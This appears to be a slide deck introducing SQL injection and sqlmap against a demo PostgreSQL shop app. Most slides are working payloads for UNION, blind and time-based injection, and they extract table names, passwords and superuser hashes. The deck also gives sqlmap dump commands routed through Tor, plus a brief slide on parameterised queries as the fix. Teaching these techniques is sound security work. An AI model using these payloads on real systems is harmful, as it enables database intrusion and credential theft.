SQL injection
2016/03/28
Billy Yang
Bypass
username password
1/32
http://xxx.xxx.xxx.xxx:5000/good?
id=1
{"available": 200, "price": 19, "name": "Easton E100P Bat Pack"}
2/32
http://xxx.xxx.xxx.xxx:5000/good?
id=????????
{"available": 200, "price": 19, "name": “PASSWORD!!”}
3/32
If the result of injection is visible
UNION is nice tool
4/32
How many columns?
http://xxx.xxx.xxx.xxx:5000/good?
id=1 ORDER BY 5
Internal Server Error
The server encountered an internal error and was unable to
complete your request. Either the server is overloaded or there
is an error in the application.
5/32
Replace with fake record
http://xxx.xxx.xxx.xxx:5000/good?
id=1 UNION SELECT 0,’1’,2,3 ORDER BY 1
{"available": 3, "price": 2, "name": "1"}
6/32
http://xxx.xxx.xxx.xxx:5000/good?
id=1 UNION
SELECT 0,current_database(),2,3 ORDER BY 1
{"available": 3, "price": 2, "name": "shopdb"}
7/32
List Table Name
http://xxx.xxx.xxx.xxx:5000/good?
id=1 UNION
SELECT 0,string_agg(table_name,’,’),2,3
FROM information_schema.tables
WHERE table_schema = ‘public’
GROUP BY table_schema
ORDER BY 1
{"available": 3, "price": 2, "name": “goods,account,…”}
8/32
List Column Name
http://xxx.xxx.xxx.xxx:5000/good?
id=1 UNION
SELECT 0,string_agg(column_name,’,’),2,3
FROM information_schema.columns
WHERE table_name = ‘account’
GROUP BY table_name
ORDER BY 1
{"available": 3, "price": 2, "name": “username,password,…”}
9/32
Crack Account Password
http://xxx.xxx.xxx.xxx:5000/good?
id=1 UNION
SELECT 0,password,2,3
FROM account
LIMIT 1
{"available": 3, "price": 2, "name": “1234567”}
10/32
Can hacker get more
information?
11/32
http://xxx.xxx.xxx.xxx:5000/good?
id=1 UNION
SELECT 0,version(),2,3 ORDER BY 1
{"available": 3, "price": 2,
"name": "PostgreSQL 9.4.1 on x86_64-unknown-linux-gnu,
compiled by gcc (Ubuntu 4.9.2-10ubuntu5) 4.9.2, 64-bit"}
12/32
http://xxx.xxx.xxx.xxx:5000/good?
id=1 UNION
SELECT 0,username,2,3 FROM pg_user
WHERE usesuper IS TRUE
{"available": 3, "price": 2, "name": "postgres"}
13/32
http://xxx.xxx.xxx.xxx:5000/good?
id=1 UNION
SELECT 0,passwd,2,3 FROM pg_shadow
WHERE username = ‘postgres’
{"available": 3, "price": 2, "name":
“md5ae50feb746fdbd2e7dc1b8d001555471"}
14/32
Unfortunately, when we cannot
get result of injection….
15/32
Blind SQL injection
If the vulnerable website just cover the
error message, but the response still has
different.
16/32
http://xxx.xxx.xxx.xxx:5000/good?id=1' AND TRUE --
{"available": 200, "price": 19, "name": "Easton E100P Bat Pack"}
http://xxx.xxx.xxx.xxx:5000/good?id=1' AND FALSE --
{"available": 0, “price": 0, "name": ""}
17/32
http://xxx.xxx.xxx.xxx:5000/good?id=1'
AND
(SELECT LENGTH(username) FROM account LIMIT 1)>7
--
18/32
http://xxx.xxx.xxx.xxx:5000/good?id=1'
AND
(SELECT SUBSTRING(username FROM 1 FOR 1)
FROM account LIMIT 1)
= ‘l’ --
19/32
Time Based
Blind SQL injection
If the vulnerable website not only cover
the error message, but the response also
is same…
20/32
Stacked queries
http://xxx.xxx.xxx.xxx:5000/good?id=';
SELECT pg_sleep(3);
SELECT ‘’,’’,1,1 WHERE ‘’=‘
{"available": 1, "price": 1, "name": ""}
21/32
http://xxx.xxx.xxx.xxx:5000/good?id=1'
AND
(SELECT pg_sleep(3) FROM account
WHERE SUBSTRING(username FROM 1 FOR 1) = ‘l’)
IS NOT NULL
--
{"available": 200, "price": 19, "name": "Easton E100P Bat Pack"}
22/32
Use Placeholder
sql = 'select * from goods where id = {}’.format(_id)
engine.execute(sql).first()
sql = text('select * from goods where id = :id')
engine.execute(sql, id=_id).first()
Bad sample
Good sample
23/32
Use Placeholder
select * from goods where id = 1;
prepare good_select as select * from goods where id = $1;
execute good_select(1);
Bad sample
Good sample
24/32
SQLMap
Have tool helps us play blind
SQL injection automatically?
25/32
python sqlmap.py -u ‘http://xxx.xxx.xxx.xxx:5000/good?id=1'
26/32
python sqlmap.py -u ‘http://xxx.xxx.xxx.xxx:5000/good?id=1'
--dbs
python sqlmap.py -u ‘http://xxx.xxx.xxx.xxx:5000/good?id=1'
-D public --tables
python sqlmap.py -u ‘http://xxx.xxx.xxx.xxx:5000/good?id=1'
-D public -T account --columns
27/32
python sqlmap.py -u ‘http://xxx.xxx.xxx.xxx:5000/good?id=1'
-D public -T account --dump
python sqlmap.py -u ‘http://xxx.xxx.xxx.xxx:5000/good?id=1'
--users
28/32
--banner
--technique=BEUSTQ
--level=1,2,3,4,5
GET and POST parameters are always tested,
HTTP Cookie header values are tested from level 2
HTTP User-Agent/Referer headers' value is tested from level 3.
--risk=1,2,3,4
The default value is 1 which is innocuous for the majority of SQL
injection points. Risk value 2 adds to the default level the tests for
heavy query time-based SQL injections and value 3 adds also OR-
based SQL injection tests.
--second-order=visible_page_url
Injection Configuration
29/32
python sqlmap.py
--tor
--tor-type=HTTP,HTTPS,SOCK4,SOCKS5
--tor-port=9050
--check-tor
--random-agent
--time-sec=10
Network Setting
30/32
Reference
• Google Dorks List
• DEFCON 17 - Advanced SQL Injection
• pentestmonkey - Postgres SQL Injection Cheat Sheet
• OWASP - SQL Injection Prevention Cheat Sheet
31/32
Thanks:)
32/32

SQL injection and SQLMap Introduction